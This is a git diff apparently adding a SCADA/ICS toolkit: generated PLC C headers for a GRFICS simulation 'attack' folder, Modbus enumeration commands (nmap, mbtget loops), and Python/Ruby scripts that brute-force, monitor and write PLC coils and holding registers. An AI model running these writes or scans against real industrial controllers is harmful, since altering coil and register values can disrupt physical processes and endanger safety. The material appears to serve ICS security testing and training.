__DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state 